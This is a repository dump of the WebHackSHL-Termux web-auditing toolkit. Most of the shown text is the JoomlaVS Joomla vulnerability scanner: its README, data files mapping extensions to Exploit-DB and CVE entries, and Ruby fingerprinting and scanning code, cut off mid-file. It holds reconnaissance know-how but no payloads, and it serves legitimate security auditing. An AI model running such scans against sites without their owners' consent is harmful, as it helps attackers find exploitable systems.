├── .gitignore
├── Gemfile
├── LICENSE
├── README.md
├── joomlavs
├── .gitattributes
├── .gitignore
├── .ruby-version
├── .travis.yml
├── CONTRIBUTING.md
├── Gemfile
├── LICENSE
├── README.md
├── data
│ ├── components.json
│ ├── joomla.json
│ ├── modules.json
│ └── templates.json
├── joomlavs.rb
├── lib
│ ├── cache.rb
│ ├── component_scanner.rb
│ ├── extension_scanner.rb
│ ├── fingerprint_scanner.rb
│ ├── joomlavs
│ │ ├── components.rb
│ │ ├── extensions.rb
│ │ ├── fingerprint.rb
│ │ ├── helper.rb
│ │ ├── joomlavs.rb
│ │ ├── modules.rb
│ │ ├── output.rb
│ │ ├── target.rb
│ │ ├── templates.rb
│ │ └── version.rb
│ ├── module_scanner.rb
│ ├── scanner.rb
│ └── template_scanner.rb
└── spec
│ ├── component_scanner_spec.rb
│ ├── extension_scanner_spec.rb
│ ├── fingerprint_scanner_spec.rb
│ ├── module_scanner_spec.rb
│ ├── scanner_spec.rb
│ ├── spec_helper.rb
│ └── template_scanner_spec.rb
├── modules
├── __init__.py
├── adminder.py
├── buscaelpanel.py
├── checker.py
├── fingerwebmod.py
├── hashid.py
├── hashidentifier
├── johnmod.py
├── logs.py
├── portsmod.py
├── sqlimod.py
├── sqlitest.py
├── sstimod.py
├── tplmap
│ ├── .gitignore
│ ├── .travis.yml
│ ├── LICENSE.md
│ ├── README.md
│ ├── burp_extension.py
│ ├── burp_extension
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── burp_extender.py
│ │ ├── channel.py
│ │ ├── config_tab.py
│ │ ├── scan_issue.py
│ │ └── scanner_check.py
│ ├── config.yml
│ ├── core
│ │ ├── __init__.py
│ │ ├── channel.py
│ │ ├── checks.py
│ │ ├── clis.py
│ │ ├── plugin.py
│ │ └── tcpserver.py
│ ├── docker-envs
│ │ ├── Dockerfile.java
│ │ ├── Dockerfile.node
│ │ ├── Dockerfile.php
│ │ ├── Dockerfile.python2
│ │ ├── Dockerfile.python3
│ │ ├── Dockerfile.ruby
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── plugins
│ │ ├── __init__.py
│ │ ├── engines
│ │ │ ├── __init__.py
│ │ │ ├── dot.py
│ │ │ ├── dust.py
│ │ │ ├── ejs.py
│ │ │ ├── erb.py
│ │ │ ├── freemarker.py
│ │ │ ├── jinja2.py
│ │ │ ├── mako.py
│ │ │ ├── marko.py
│ │ │ ├── nunjucks.py
│ │ │ ├── pug.py
│ │ │ ├── slim.py
│ │ │ ├── smarty.py
│ │ │ ├── tornado.py
│ │ │ ├── twig.py
│ │ │ └── velocity.py
│ │ └── languages
│ │ │ ├── __init__.py
│ │ │ ├── bash.py
│ │ │ ├── java.py
│ │ │ ├── javascript.py
│ │ │ ├── php.py
│ │ │ ├── python.py
│ │ │ └── ruby.py
│ ├── requirements.txt
│ ├── tests
│ │ ├── basetest.py
│ │ ├── env_java_tests
│ │ │ └── spark-app
│ │ │ │ ├── build.gradle
│ │ │ │ ├── gradle
│ │ │ │ └── wrapper
│ │ │ │ │ └── gradle-wrapper.properties
│ │ │ │ ├── settings.gradle
│ │ │ │ └── src
│ │ │ │ └── main
│ │ │ │ ├── java
│ │ │ │ └── org
│ │ │ │ │ └── tplmap
│ │ │ │ │ └── webframeworks
│ │ │ │ │ └── SparkApplication.java
│ │ │ │ └── resources
│ │ │ │ └── templates
│ │ │ │ └── hello.html
│ │ ├── env_node_tests
│ │ │ └── connect-app.js
│ │ ├── env_php_tests
│ │ │ ├── eval.php
│ │ │ ├── smarty-3.1.32-secured.php
│ │ │ ├── smarty-3.1.32-unsecured.php
│ │ │ ├── twig-1.19.0-unsecured.php
│ │ │ └── twig-1.20.0-secured.php
│ │ ├── env_py_tests
│ │ │ └── webserver.py
│ │ ├── env_ruby_tests
│ │ │ ├── config.ru
│ │ │ └── webserver.rb
│ │ ├── run_channel_test.sh
│ │ ├── run_java_tests.sh
│ │ ├── run_node_tests.sh
│ │ ├── run_php_tests.sh
│ │ ├── run_python2_tests.sh
│ │ ├── run_python3_tests.sh
│ │ ├── run_ruby_tests.sh
│ │ ├── test_channel.py
│ │ ├── test_java_freemarker.py
│ │ ├── test_java_velocity.py
│ │ ├── test_node_dot.py
│ │ ├── test_node_dust.py
│ │ ├── test_node_ejs.py
│ │ ├── test_node_javascript.py
│ │ ├── test_node_marko.py
│ │ ├── test_node_nunjucks.py
│ │ ├── test_node_pug.py
│ │ ├── test_php_php.py
│ │ ├── test_php_smarty_secured.py
│ │ ├── test_php_smarty_unsecured.py
│ │ ├── test_php_twig_secured.py
│ │ ├── test_php_twig_unsecured.py
│ │ ├── test_py_jinja2.py
│ │ ├── test_py_mako.py
│ │ ├── test_py_python.py
│ │ ├── test_py_tornado.py
│ │ ├── test_ruby_erb.py
│ │ ├── test_ruby_ruby.py
│ │ ├── test_ruby_slim.py
│ │ └── tests.sh
│ ├── tplmap.py
│ └── utils
│ │ ├── __init__.py
│ │ ├── cliparser.py
│ │ ├── closures.py
│ │ ├── config.py
│ │ ├── loggers.py
│ │ ├── rand.py
│ │ └── strings.py
├── vulns
│ └── dorks.txt
└── wordlist
│ └── worlists.txt
└── webhackshl.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | modules/vulns/lfi.txt
3 | modules/vulns/sqli.txt
4 | modules/vulns/rce.txt
5 | modules/vulns/xss.txt
6 | modules/sqlopt/output.txt
7 | Gemfile.lock
8 | *.log
9 |
10 |
--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
1 | source 'https://rubygems.org'
2 | gem 'colorize', '>=0.8.1'
3 | gem 'nokogiri', '~>1.8.1'
4 | gem 'slop', '~>4.6.0'
5 | gem 'typhoeus', '~>1.3.0'
6 |
7 | group :test do
8 | gem 'rspec', '~>3.7'
9 | end
10 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WebHackSHL-Termux
2 |
3 | WebHackSHL-Termux es un conjunto de herramientas desarrollado por Security Hack Labs, para realizar auditorias de seguridad web desde basicas hasta avanzadas, diseñado especialmente para sistemas Android. La finalidad de esta herramienta no es fomentar el número de script kiddies y/o crackers. Antes de descargarla tómese el tiempo de leer un poco el código y así mismo entender su funcionamiento, si usted piensa descargar esta herramienta para llevar a cabo actividades ilegales y/o delictivas mejor absténgase de hacerlo. Esta herramienta fue creada con fines éticos y profesionales, también cómo ayuda a especialistas y/o principiantes de Seguridad Informática.
4 |
5 | # Prerequisitos.
6 |
7 | Esta herramienta funciona en Android usando el emulador Termux, otros emuladores no son soportados. Para que la herramienta funcione usted necesita tener instalado Termux y en Termux los paquetes git y python2. Es tan simple cómo hacer lo siguiente:
8 |
9 | 1. Abra Termux en su Android.
10 | 2. Ejecute la siguiente orden en Termux: pkg install git python2
11 |
12 | # Instalación.
13 |
14 | Sigue los pasos que encontrarás en https://securityhacklabs.net/articulo/nuestra-herramienta-de-hacking-para-android. Es muy importante que siga todo al pie de la letra y que tenga en cuenta que deberá reintentar la instalación 3 veces cuando el script se lo pregunte.
15 |
16 | # Uso de la herramienta
17 | Teclee en la terminal de termux:
18 |
19 | ~$ git clone https://github.com/sechacklabs/webhackshl-termux.git
20 | ~$ cd webhackshl-termux
21 | ~$ python2 webhackshl.py
22 |
23 | Para ver todas las opciones de la herramienta:
24 |
25 | ~$ python2 webhackshl.py -h
26 |
27 | # Actualización de la herramienta.
28 |
29 | Si usted ha descargado e instalado la herramienta en su equipo usando el script install.sh y desea actualizarla a la versión más reciente deberá realizar lo siguiente:
30 |
31 | ~$ python2 webhackshl.py -u
32 |
33 | # Soporte y contacto.
34 |
35 | Chat Discord: https://chat.securityhacklabs.net
36 | Blog: https://securityhacklabs.net
37 | Foro: https://foro.securityhacklabs.net/
38 |
39 | # Capturas de pantalla.
40 |
41 | 
42 | 
43 |
--------------------------------------------------------------------------------
/joomlavs/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text eol=lf
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 |
7 | # Standard to msysgit
8 | *.doc diff=astextplain
9 | *.DOC diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot diff=astextplain
13 | *.DOT diff=astextplain
14 | *.pdf diff=astextplain
15 | *.PDF diff=astextplain
16 | *.rtf diff=astextplain
17 | *.RTF diff=astextplain
18 |
--------------------------------------------------------------------------------
/joomlavs/.gitignore:
--------------------------------------------------------------------------------
1 | *.gem
2 | *.rbc
3 | /.config
4 | /coverage/
5 | /InstalledFiles
6 | /pkg/
7 | /spec/reports/
8 | /test/tmp/
9 | /test/version_tmp/
10 | /tmp/
11 |
12 | ## Specific to RubyMotion:
13 | .dat*
14 | .repl_history
15 | build/
16 |
17 | ## Documentation cache and generated files:
18 | /.yardoc/
19 | /_yardoc/
20 | /doc/
21 | /rdoc/
22 |
23 | ## Environment normalisation:
24 | /.bundle/
25 | /lib/bundler/man/
26 |
27 | # for a library or gem, you might want to ignore these files since the code is
28 | # intended to run in multiple environments; otherwise, check them in:
29 | # Gemfile.lock
30 | # .ruby-version
31 | # .ruby-gemset
32 |
33 | # unless supporting rvm < 1.11.0 or doing something fancy, ignore this:
34 | .rvmrc
35 |
36 | # =========================
37 | # Operating System Files
38 | # =========================
39 |
40 | # OSX
41 | # =========================
42 |
43 | .DS_Store
44 | .AppleDouble
45 | .LSOverride
46 |
47 | # Thumbnails
48 | ._*
49 |
50 | # Files that might appear on external disk
51 | .Spotlight-V100
52 | .Trashes
53 |
54 | # Directories potentially created on remote AFP share
55 | .AppleDB
56 | .AppleDesktop
57 | Network Trash Folder
58 | Temporary Items
59 | .apdisk
60 |
61 | # Windows
62 | # =========================
63 |
64 | # Windows image file caches
65 | Thumbs.db
66 | ehthumbs.db
67 |
68 | # Folder config file
69 | Desktop.ini
70 |
71 | # Recycle Bin used on file shares
72 | $RECYCLE.BIN/
73 |
74 | # Windows Installer files
75 | *.cab
76 | *.msi
77 | *.msm
78 | *.msp
79 |
80 | # Windows shortcuts
81 | *.lnk
82 |
--------------------------------------------------------------------------------
/joomlavs/.ruby-version:
--------------------------------------------------------------------------------
1 | 2.5.1
2 |
--------------------------------------------------------------------------------
/joomlavs/.travis.yml:
--------------------------------------------------------------------------------
1 | language: ruby
2 | rvm:
3 | - 2.4.4
4 | - 2.5.1
5 | before_install:
6 | - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
7 | script:
8 | - bundle exec rspec
9 | branches:
10 | except:
11 | - gh-pages
12 |
--------------------------------------------------------------------------------
/joomlavs/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # How to contribute
2 | Contributions are always welcome, however, to keep things consistent, please review the following guidelines.
3 |
4 | ## Update unit tests
5 | If you change a core piece of functionality (i.e. in ```lib/*```) then ensure the corresponding unit tests in the ```spec``` folder are updated.
6 |
7 | For more information on writing unit tests with RSpec, see https://relishapp.com/rspec
8 |
9 | ## Ensure RuboCop approves
10 | Unless there's good reason, there should be no [RuboCop](https://github.com/bbatsov/rubocop) warnings for any code you submit a pull request for. Sensible exceptions will be made, but try to keep warnings to a minimum.
11 |
12 | ## Target the development branch
13 | When opening a pull request, compare with the ```development``` branch, rather than ```master```. The master branch is aimed at being equal to the latest stable release; meaning all staged changes need to go into the ```development``` branch.
14 |
--------------------------------------------------------------------------------
/joomlavs/Gemfile:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | source 'https://rubygems.org'
4 |
5 | group :cli do
6 | gem 'colorize', '>=0.8.1'
7 | gem 'slop', '~>4.6.2'
8 | end
9 |
10 | group :http do
11 | gem 'nokogiri', '~>1.8.4'
12 | gem 'typhoeus', '~>1.3.0'
13 | end
14 |
15 | group :test do
16 | gem 'coveralls', require: false
17 | gem 'rspec', '~>3.7'
18 | end
19 |
--------------------------------------------------------------------------------
/joomlavs/README.md:
--------------------------------------------------------------------------------
1 | # joomlavs [](https://travis-ci.org/rastating/joomlavs) [](https://coveralls.io/github/rastating/joomlavs?branch=development) [](https://codeclimate.com/github/rastating/joomlavs)
2 | A black box, Ruby powered, Joomla vulnerability scanner
3 |
4 | ## What is it?
5 | JoomlaVS is a Ruby application that can help automate assessing how vulnerable a Joomla installation is to exploitation. It supports basic finger printing and can scan for vulnerabilities in components, modules and templates as well as vulnerabilities that exist within Joomla itself.
6 |
7 | ## How to install
8 | JoomlaVS has so far only been tested on Debian, but the installation process should be similar across most operating systems.
9 |
10 | 1. Ensure Ruby [2.4.4 or above] is installed on your system
11 | 2. Clone the source code using ```git clone https://github.com/rastating/joomlavs.git```
12 | 3. Install bundler and required gems using ```gem install bundler && bundle install```
13 |
14 | ## Troubleshooting Installation
15 | If you have issues installing JoomlaVS' dependencies (in particular, Nokogiri), first make sure you have all the tooling necessary to compile C extensions:
16 |
17 | ```
18 | sudo apt-get install build-essential patch
19 | ```
20 |
21 | It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation:
22 |
23 | ```
24 | sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libcurl4-openssl-dev
25 | ```
26 |
27 | ## How to use
28 | The only required option is the ```-u``` / ```--url``` option, which specifies the address to target. To do a full scan, however, the ```--scan-all``` option should also be specified, e.g. ```ruby joomlavs.rb -u yourjoomlatarget.com --scan-all```.
29 |
30 | A full list of options can be found below:
31 |
32 | ```
33 | usage: joomlavs.rb [options]
34 | Basic options
35 | -u, --url The Joomla URL/domain to scan.
36 | --basic-auth The basic HTTP authentication credentials
37 | -v, --verbose Enable verbose mode
38 | Enumeration options
39 | -a, --scan-all Scan for all vulnerable extensions
40 | -c, --scan-components Scan for vulnerable components
41 | -m, --scan-modules Scan for vulnerable modules
42 | -t, --scan-templates Scan for vulnerable templates
43 | -q, --quiet Scan using only passive methods
44 | Advanced options
45 | --disable-tls-checks Disable SSL/TLS certificate verification.
46 | --follow-redirection Automatically follow redirections
47 | --no-colour Disable colours in output
48 | --proxy <[protocol://]host:port> HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given, HTTP will be used
49 | --proxy-auth The proxy authentication credentials
50 | --threads The number of threads to use when multi-threading requests
51 | --user-agent The user agent string to send with all requests
52 | ```
53 |
54 | ## License
55 | Copyright (C) 2015-2018 rastating
56 |
57 | Running JoomlaVS against websites without prior mutual consent may be illegal in your country. The author and parties involved in its development accept no liability and are not responsible for any misuse or damage caused by JoomlaVS.
58 |
59 | This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
60 |
61 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
62 |
63 | You should have received a copy of the GNU General Public License along with this program. If not, see .
64 |
--------------------------------------------------------------------------------
/joomlavs/data/modules.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "name": "VisitorData",
4 | "vulns": [
5 | {
6 | "title": "Joomla Module Camp26 Visitor Data 1.1 - Remote code Execution",
7 | "edbid": 12574,
8 | "osvdbid": "64583",
9 | "date": "2010-05-11",
10 | "introduced_in": 1.1
11 | }
12 | ]
13 | },
14 | {
15 | "name": "spo",
16 | "vulns": [
17 | {
18 | "title": "Joomla Component mod_spo SQL Injection Vulnerability",
19 | "edbid": 17560,
20 | "date": "2011-07-21",
21 | "introduced_in": 1.5
22 | }
23 | ]
24 | },
25 | {
26 | "name": "simplefileuploadv1.3",
27 | "vulns": [
28 | {
29 | "title": "Joomla Module Simple File Upload 1.3 - Remote Code Execution",
30 | "edbid": 18287,
31 | "cveid": "2011-5148",
32 | "date": "2011-12-28",
33 | "introduced_in": 1.3
34 | }
35 | ]
36 | },
37 | {
38 | "name": "joomulus",
39 | "vulns": [
40 | {
41 | "title": "Joomla! Joomulus Component 2.0 - 'tagcloud.swf' Cross-Site Scripting Vulnerability",
42 | "edbid": 33441,
43 | "date": "2009-12-28",
44 | "introduced_in": 2
45 | }
46 | ]
47 | },
48 | {
49 | "name": "3dcloud",
50 | "vulns": [
51 | {
52 | "title": "Joomla! 3D Cloud 'tagcloud.swf' Cross-Site Scripting Vulnerability",
53 | "edbid": 33566,
54 | "date": "2010-01-26"
55 | }
56 | ]
57 | },
58 | {
59 | "name": "currencyconverter",
60 | "vulns": [
61 | {
62 | "title": "Joomla! Currency Converter Component 'from' Parameter Cross-Site Scripting Vulnerability",
63 | "edbid": 36659,
64 | "cveid": "2012-1018",
65 | "date": "2012-02-02"
66 | }
67 | ]
68 | },
69 | {
70 | "name": "ccnewsletter",
71 | "vulns": [
72 | {
73 | "title": "Joomla CCNewsLetter Module 1.0.7 'id' Parameter SQL Injection Vulnerability",
74 | "edbid": 37101,
75 | "cveid": "2011-5099",
76 | "date": "2012-04-23",
77 | "introduced_in": "1.0.7"
78 | }
79 | ]
80 | },
81 | {
82 | "name": "artuploader",
83 | "vulns": [
84 | {
85 | "title": "Joomla! Art Uploader Component 'upload.php' Arbitrary File Upload Vulnerability",
86 | "edbid": 37379,
87 | "date": "2012-06-12",
88 | "introduced_in": "1.0.1"
89 | }
90 | ]
91 | },
92 | {
93 | "name": "jfancy",
94 | "vulns": [
95 | {
96 | "title": "Joomla! jFancy Component 'script.php' Arbitrary File Upload Vulnerability",
97 | "edbid": 37382,
98 | "date": "2012-06-13",
99 | "introduced_in": "2.0.3"
100 | }
101 | ]
102 | }
103 | ]
104 |
--------------------------------------------------------------------------------
/joomlavs/data/templates.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "name": "be2004-2",
4 | "vulns": [
5 | {
6 | "title": "Joomla Template Be2004-2 (index.php) Remote File Include Exploit",
7 | "edbid": 3759,
8 | "cveid": "2007-2143",
9 | "osvdbid": "37572",
10 | "date": "2007-04-17"
11 | }
12 | ]
13 | },
14 | {
15 | "name": "bridgeofhope",
16 | "vulns": [
17 | {
18 | "title": "Joomla Bridge of Hope Template SQL Injection Vulnerability",
19 | "edbid": 10964,
20 | "cveid": "2010-2254",
21 | "osvdbid": "65426",
22 | "date": "2010-01-03"
23 | }
24 | ]
25 | },
26 | {
27 | "name": "youhostit",
28 | "vulns": [
29 | {
30 | "title": "Joomla! You!Hostit! 1.0.1 Template Cross-Site Scripting Vulnerability",
31 | "edbid": 33393,
32 | "date": "2009-12-04"
33 | }
34 | ]
35 | }
36 | ]
--------------------------------------------------------------------------------
/joomlavs/joomlavs.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | # frozen_string_literal: true
4 |
5 | # This file is part of JoomlaVS.
6 |
7 | # JoomlaVS is free software: you can redistribute it and/or modify
8 | # it under the terms of the GNU General Public License as published by
9 | # the Free Software Foundation, either version 3 of the License, or
10 | # (at your option) any later version.
11 |
12 | # JoomlaVS is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 |
17 | # You should have received a copy of the GNU General Public License
18 | # along with JoomlaVS. If not, see .
19 |
20 | require 'slop'
21 | require 'typhoeus'
22 | require_relative 'lib/cache'
23 | Typhoeus::Config.cache = Cache.new
24 | require_relative 'lib/joomlavs/helper'
25 |
26 | # Automatically flush stdout
27 | $stdout.sync = true
28 |
29 | class Application
30 | include JoomlaVS
31 | include JoomlaVS::Output
32 | include JoomlaVS::Extensions
33 | include JoomlaVS::Components
34 | include JoomlaVS::Target
35 | include JoomlaVS::Version
36 | include JoomlaVS::Fingerprint
37 | include JoomlaVS::Modules
38 | include JoomlaVS::Templates
39 |
40 | def initialize
41 | initialize_options
42 | @use_colours = !opts[:no_colour]
43 | @target = opts[:url]
44 | end
45 |
46 | def initialize_options
47 | @opts = Slop.parse do |o|
48 | o.separator 'Basic options'
49 | o.string '-u', '--url', 'The Joomla URL/domain to scan.'
50 | o.string '--basic-auth', ' The basic HTTP authentication credentials'
51 | o.bool '-v', '--verbose', 'Enable verbose mode'
52 |
53 | o.separator 'Enumeration options'
54 | o.bool '-a', '--scan-all', 'Scan for all vulnerable extensions'
55 | o.bool '-c', '--scan-components', 'Scan for vulnerable components'
56 | o.bool '-m', '--scan-modules', 'Scan for vulnerable modules'
57 | o.bool '-t', '--scan-templates', 'Scan for vulnerable templates'
58 | o.bool '-q', '--quiet', 'Scan using only passive methods'
59 |
60 | o.separator 'Advanced options'
61 | o.bool '--disable-tls-checks', 'Disable SSL/TLS certificate verification.'
62 | o.bool '--follow-redirection', 'Automatically follow redirections'
63 | o.bool '--no-colour', 'Disable colours in output'
64 | o.string '--proxy', '<[protocol://]host:port> HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given, HTTP will be used'
65 | o.string '--proxy-auth', ' The proxy authentication credentials'
66 | o.integer '--threads', 'The number of threads to use when multi-threading requests', default: 20
67 | o.string '--user-agent', 'The user agent string to send with all requests', default: 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'
68 | o.bool '--hide-banner', 'Do not show the JoomlaVS banner'
69 | end
70 | end
71 |
72 | def execute_fingerprinting_tasks
73 | @fingerprint_scanner = FingerprintScanner.new(opts[:url], opts)
74 | check_target_redirection
75 | @target = fingerprint_scanner.target_uri
76 | check_user_registration
77 | inspect_headers
78 | check_indexes
79 | determine_joomla_version
80 | end
81 |
82 | def scan_extensions
83 | scan_components
84 | scan_modules
85 | scan_templates
86 | end
87 |
88 | def start
89 | execute_fingerprinting_tasks
90 | display_joomla_vulns
91 | scan_extensions
92 | end
93 | end
94 |
95 | app = Application.new
96 | app.print_banner unless app.opts[:hide_banner]
97 |
98 | if app.has_target
99 | app.print_good("URL: #{app.target}")
100 | app.print_good("Started: #{Time.now.asctime}")
101 | app.start
102 | app.print_line_break
103 | app.print_good 'Finished'
104 | else
105 | puts app.opts
106 | end
107 |
108 | app.print_line_break
109 |
--------------------------------------------------------------------------------
/joomlavs/lib/cache.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | class Cache
19 | def initialize
20 | @memory = {}
21 | end
22 |
23 | def get(request)
24 | @memory[request]
25 | end
26 |
27 | def set(request, response)
28 | @memory[request] = response
29 | end
30 | end
31 |
--------------------------------------------------------------------------------
/joomlavs/lib/component_scanner.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require_relative 'extension_scanner'
19 |
20 | # This class provides functionality to scan for
21 | # vulnerable Joomla components.
22 | class ComponentScanner < ExtensionScanner
23 | def initialize(target_uri, opts)
24 | super(target_uri, 'data/components.json', opts)
25 | end
26 |
27 | def extension_prefix
28 | 'com_'
29 | end
30 |
31 | def directory_name
32 | 'components'
33 | end
34 | end
35 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/components.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Components
20 | def build_components_filter(scanner)
21 | scanner.build_filter(fingerprint_scanner.components_listing_enabled, fingerprint_scanner.administrator_components_listing_enabled)
22 | end
23 |
24 | def scan_components
25 | scan(:components, ComponentScanner, opts[:scan_components])
26 | end
27 | end
28 | end
29 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/extensions.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Extensions
20 | def display_reference(ref, base_url = nil)
21 | return unless ref
22 | if ref.is_a?(Array)
23 | ref.each do |id|
24 | print_indent("Reference: #{base_url}#{id}")
25 | end
26 | else
27 | print_indent("Reference: #{base_url}#{ref}")
28 | end
29 | end
30 |
31 | def display_vulns(vulns)
32 | vulns.each do |v|
33 | print_line_break
34 | print_error("Title: #{v['title']}")
35 | display_reference v['edbid'], 'https://www.exploit-db.com/exploits/'
36 | display_reference v['cveid'], 'http://www.cvedetails.com/cve/CVE-'
37 | display_reference v['url']
38 | print_info("Fixed in: #{v['fixed_in']}") if v['fixed_in']
39 | print_line_break
40 | end
41 | end
42 |
43 | def display_optional_extension_info(e)
44 | print_indent_unless_empty("Description: #{e[:description]}", e[:description])
45 | print_indent_unless_empty("Author: #{e[:author]}", e[:author])
46 | print_indent_unless_empty("Author URL: #{e[:author_url]}", e[:author_url])
47 | end
48 |
49 | def display_required_extension_info(e)
50 | print_good("Name: #{e[:name]} - v#{e[:version]}")
51 | print_indent("Location: #{e[:extension_url]}")
52 | print_indent("Manifest: #{e[:manifest_url]}")
53 | end
54 |
55 | def display_detected_extension(e)
56 | print_line_break
57 | display_required_extension_info(e)
58 | display_optional_extension_info(e)
59 | display_vulns(e[:vulns])
60 | print_horizontal_rule
61 | end
62 |
63 | def should_scan(scan_flag, filter)
64 | if scan_flag || opts[:scan_all]
65 | return !opts[:quiet] || (opts[:quiet] && filter)
66 | end
67 | end
68 |
69 | def build_filter(scanner)
70 | return [] unless opts[:quiet]
71 | if scanner.instance_of? ComponentScanner
72 | return build_components_filter(scanner)
73 | elsif scanner.instance_of? ModuleScanner
74 | return build_modules_filter(scanner)
75 | elsif scanner.instance_of? TemplateScanner
76 | return build_templates_filter(scanner)
77 | end
78 | end
79 |
80 | def scan(extension_type, scanner_class, scan_flag)
81 | scanner = scanner_class.new(target, opts)
82 | filter = build_filter(scanner)
83 | return unless should_scan(scan_flag, filter)
84 |
85 | print_line_break
86 | print_good("Scanning for vulnerable #{extension_type}...")
87 | extensions = scanner.scan(filter)
88 | print_warning("Found #{extensions.length} vulnerable #{extension_type}.")
89 | print_line_break
90 | print_horizontal_rule
91 | extensions.each { |e| display_detected_extension(e) }
92 | end
93 | end
94 | end
95 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/fingerprint.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Fingerprint
20 | def check_user_registration
21 | print_line_break
22 | print_verbose('Checking if registration is enabled...')
23 | print_warning("Registration is enabled: #{fingerprint_scanner.target_uri}#{fingerprint_scanner.registration_uri}") if fingerprint_scanner.user_registration_enabled
24 | print_verbose('User registration is not enabled.') if !fingerprint_scanner.user_registration_enabled
25 | end
26 |
27 | def inspect_headers
28 | print_line_break if opts[:verbose]
29 | print_verbose('Looking for interesting headers...')
30 | interesting_headers = fingerprint_scanner.interesting_headers
31 | print_good("Found #{interesting_headers.length} interesting headers.")
32 | interesting_headers.each do |header|
33 | print_indent("#{header[0]}: #{header[1]}")
34 | end
35 | end
36 |
37 | def check_indexes
38 | print_line_break if opts[:verbose]
39 | print_verbose('Looking for directory listings...')
40 |
41 | indexes = [
42 | '/components/',
43 | '/administrator/components/',
44 | '/modules/',
45 | '/administrator/modules/',
46 | '/templates/',
47 | '/administrator/templates/'
48 | ]
49 |
50 | indexes.each do |i|
51 | if fingerprint_scanner.directory_listing_enabled(i)
